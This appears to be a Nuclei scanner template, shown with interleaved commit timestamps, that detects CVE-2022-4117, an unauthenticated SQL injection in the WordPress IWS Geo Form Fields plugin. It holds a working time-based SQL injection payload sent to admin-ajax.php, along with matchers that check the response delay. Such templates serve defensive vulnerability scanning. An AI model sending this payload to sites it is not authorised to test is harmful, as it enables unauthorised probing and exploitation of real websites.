2023-03-18 22:07:09 +00:00
id : CVE-2022-4117
info :
2023-03-28 20:15:01 +00:00
name : WordPress IWS Geo Form Fields <=1.0 - SQL Injection
2023-03-18 22:07:09 +00:00
author : theamanrawat
2023-03-20 07:05:15 +00:00
severity : critical
2023-03-18 22:07:09 +00:00
description : |
2023-03-28 20:15:01 +00:00
WordPress IWS Geo Form Fields plugin through 1.0 contains a SQL injection vulnerability. The plugin does not properly escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
2023-03-18 22:07:09 +00:00
reference :
- https://wpscan.com/vulnerability/1fac3eb4-13c0-442d-b27c-7b7736208193
- https://wordpress.org/plugins/iws-geo-form-fields/
- https://nvd.nist.gov/vuln/detail/CVE-2022-4117
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cve-id : CVE-2022-4117
cwe-id : CWE-89
2023-04-12 10:55:48 +00:00
cpe : cpe:2.3:a:iws-geo-form-fields_project:iws-geo-form-fields:*:*:*:*:*:*:*:*
epss-score : 0.06254
2023-03-18 22:07:09 +00:00
metadata :
2023-04-28 08:11:21 +00:00
max-request : 1
2023-06-04 08:13:42 +00:00
verified : true
2023-03-20 07:05:15 +00:00
tags : cve,cve2022,sqli,wordpress,wp-plugin,wp,iws-geo-form-fields,wpscan
2023-03-18 22:07:09 +00:00
2023-04-27 04:28:59 +00:00
http :
2023-03-18 22:07:09 +00:00
- raw :
- |
@timeout : 15s
POST /wp-admin/admin-ajax.php?action=iws_gff_fetch_states HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
2023-03-19 14:44:56 +00:00
country_id=1%20AND%20(SELECT%2042%20FROM%20(SELECT(SLEEP(6)))b)
2023-03-18 22:07:09 +00:00
matchers :
- type : dsl
dsl :
- 'duration>=6'
- 'status_code == 200'
- 'contains(body, "\"status\":200") && contains(body, "{\"html\":")'
condition : and
2023-03-28 20:15:01 +00:00
# Enhanced by md on 2023/03/28